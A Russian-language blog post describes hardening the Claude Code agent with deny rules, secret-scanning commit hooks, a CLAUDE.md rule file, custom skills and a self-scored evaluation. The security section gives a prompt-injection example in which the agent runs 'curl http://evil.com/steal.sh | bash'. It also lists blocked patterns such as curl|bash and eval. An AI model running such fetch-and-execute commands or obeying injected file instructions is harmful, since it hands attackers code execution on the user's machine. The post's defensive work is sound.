Как я довёл Claude Code до 80/100 — и зачем это нужно

Claude Code из коробки — мощный инструмент. И абсолютно безрассудный.

Он с радостью выполнит git push --force origin main, закоммитит .env с production-ключами, обернёт всё в any и проглотит ошибки пустым catch-блоком. Не потому что глупый — потому что у него нет контекста, правил и ограничений. Вы бы дали джуниору полный root-доступ на production без code review? Вот и Claude не стоит.

Я — AI-инженер, использую Claude Code как основной рабочий инструмент: backend на NestJS, смарт-контракты на Solidity, server administration, research. За месяц кастомизации я превратил дефолтную установку в систему, которая набирает 80.4/100 по собственной 67-чековой evaluation framework. Дефолтный Claude Code набирает ~15-20.

Вот что конкретно я настроил и зачем.

Первым делом — безопасность

Claude с полным Bash-доступом — это привилегированный процесс. Одна prompt injection в чужом файле — и Claude выполнит curl http://evil.com/steal.sh | bash. Без защиты.

В ~/.claude/settings.json я прописал 47 deny-правил в 6 категориях:

Сколько раз Claude пытался запушить force? У меня — ноль. Потому что deny-правило сработает раньше, чем команда дойдёт до shell.

Injection-блокировки (eval, bash -c, curl|bash) закрывают вектор prompt injection — вредоносная инструкция в загруженном файле не заставит Claude выполнить произвольный код. Это первая линия обороны, и она статическая: просто паттерны строк. Для динамической защиты нужны hooks.

Hooks: защита с логикой

Deny-правила — это if строка содержит X → блокируй. Hooks добавляют настоящую логику.

У меня 4 hook-скрипта на 3 event types. Самый важный — block-secret-commit.sh. Он перехватывает каждый git add и git commit и проверяет три вещи:

1. Bulk staging — git add . и git add -A запрещены. Claude обязан добавлять файлы по имени
2. File patterns — 14 расширений (.env, .pem, .key, .p12) и 12 имён файлов (id_rsa, credentials.json, .npmrc)
3. Content scanning — сканирует staged diff на private keys, Stripe-ключи (sk_live_*), AWS-ключи (AKIA*), hex-строки 64+ символов

Третий пункт — ключевой. Deny-правило не поймает AWS-ключ, вставленный внутрь обычного .ts файла. Hook — поймает.

Второй hook (block-sensitive-write.sh) блокирует Write/Edit операции в credential-файлы: credentials.json, service-account.json, .keystore. Сознательно не блокирует .env — Claude управляет ими свободно, а коммит всё равно не пройдёт через первый hook.

Ещё два hook проще: notification.sh воспроизводит звук когда Claude заканчивает задачу (удобно для фоновой работы), session-start.sh при запуске показывает имя проекта, текущую ветку и количество uncommitted changes — контекст без лишних вопросов.

CLAUDE.md: операционная система для AI

CLAUDE.md — главный рычаг влияния на поведение Claude. Мой глобальный файл — 211 строк, 11 секций. Плюс у каждого из 5 проектов свой project-level CLAUDE.md с технологической спецификой (NestJS + Prisma, AssemblyScript + The Graph, и т.д.).

Три секции решают 80% проблем.

AI Guardrails — 17 конкретных правил для code generation и тестов. Без них Claude генерирует any-типы, пустые catch-блоки, дублирует утилиты вместо поиска существующих, и пишет тесты, которые тестируют mock, а не код. Примеры правил:

• Проверяй каждый import — LLM hallucinate пакеты и API (1 из 5 AI-сэмплов ссылается на несуществующие библиотеки)
• unknown вместо any — если кажется что нужен any, нужен generic или type guard
• Mock-to-assertion ratio < 1.5:1 — если моков больше чем assertions, тест тестирует mock
• Для каждого mockResolvedValue — пиши mockRejectedValue тест (failure paths обязательны)

Anti-Fluff Rules — 8 правил, запрещающих Claude писать воду. Никаких “Конечно!”, “Давайте рассмотрим…”, пересказов вопроса, заключительных summary. Максимум 15-20 слов в предложении. Каждое утверждение подкреплено evidence. Это критично для генерации документов и research — без этих правил Claude производит страницы бессмысленного текста.

Commit Discipline — lowercase verbs, без префиксов (feat:, fix:), без co-authorship lines, pre-commit hooks обязательны. Claude не имеет права использовать --no-verify. Если hook упал — исправь проблему и создай новый коммит, не amend предыдущий.

Information density моего CLAUDE.md — 0.72. То есть 72% строк содержат actionable правила, а не комментарии или пояснения.

Skills: workflow в одну команду

Вместо 20 ручных шагов — один slash-command. У меня 8 custom skills:

/deploy — SSH deploy с auto-rollback. 5 фаз (connect → pull → build → health check → confirm), --dry-run для предпросмотра, история в .deploys/history.jsonl. Если health check проваливается — автоматический откат.

/review-my-code — pre-commit self-review. 7-пунктный checklist с severity levels (CRITICAL/WARNING/NITPICK), domain-specific passes для Solidity и NestJS. Запускаю перед каждым коммитом.

/audit — multi-agent audit кодовой базы. 4 scope types (codebase, setup, infra, security), 3 уровня глубины. Использует agent teams — несколько Claude работают параллельно с разных perspectives, результаты сводятся в consolidated report.

/evaluate — количественная оценка качества setup. 9 dimensions, 67 checks, 4-tier rubrics (T0-T3). Поддерживает --diff для сравнения с предыдущим результатом. Этим skill’ом я и получил 80.4/100.

Остальные: /server-dashboard (health overview серверов), /security-scan (аудит безопасности), /doc-template (шаблоны документов), /meeting-prep (standup из git log).

Research и MCP-серверы

Claude Code из коробки умеет искать в интернете (WebSearch), но для серьёзного research этого мало. У меня подключены 3 MCP-сервера с чётким routing:

• Perplexity — для глубокого research с синтезом из 10+ источников. Architecture decisions, technology comparison, market analysis
• Tavily — для быстрых фактов. “Какая последняя версия Next.js?”, “Топ-5 фреймворков для X”
• Context7 — real-time документация библиотек. API signatures и code examples перед implementation

Правило routing прописано прямо в CLAUDE.md — Claude сам выбирает нужный инструмент под задачу.

Agent teams и делегирование

Claude Code поддерживает agent teams через tmux — несколько Claude-агентов работают параллельно. У меня задокументирована политика делегирования:

• Research всегда уходит в subagent (не загрязняет основной context)
• Параллельные независимые задачи — agent teams с разными perspectives
• Off-topic (VPS admin, отладка инфраструктуры) — изолированный subagent
• Model policy: Opus для всего существенного, Sonnet только для механических задач (log parsing, status checks)

Research-субагенты обязательно работают на Opus. Я пробовал Sonnet для research — качество синтеза и анализа источников падает драматически. Sonnet нормально собирает ссылки, но пропускает нюансы и выдаёт поверхностные summary.

Оценка: 80.4 из 100

Я написал evaluation framework с 67 проверками по 9 dimensions. Каждая проверка оценивается по 4-уровневой рубрике (T0 — отсутствует, T3 — максимальная реализация). Dimensions имеют разные веса: безопасность весит больше, чем keybindings.

Первая версия evaluation давала 89/100 — слишком щедро, я переделал framework с нуля. Вторая версия baseline показала 76.7, после добавления Error Recovery секции в CLAUDE.md стало 80.4.

Error Recovery на 58% — главная точка роста. Нет автоматизированной стратегии для сбоев сборки, конфликтов git, проблем с зависимостями. Пока Claude опирается на общие инструкции в CLAUDE.md, а не на programmatic handlers.

Default vs кастомизированный setup

Разница — не incremental improvement. Это разные инструменты. Один — сырая LLM с Bash-доступом. Другой — AI-агент с guardrails, workflows, research tools и programmatic enforcement правил.

Что дальше

Три направления: поднять Error Recovery до 75%+ (automated build error strategy, git conflict resolution), добавить pre-commit lint/format checks в hook pipeline, настроить project-level MCP для Playwright. Текущие 80.4 — solid baseline, но 85+ вполне достижимы за одну-две итерации.

Setup — живой процесс. Каждая сессия с Claude выявляет edge cases, которые закрываются новым правилом в CLAUDE.md или hook-скриптом. Evaluation framework позволяет измерять прогресс, а не гадать.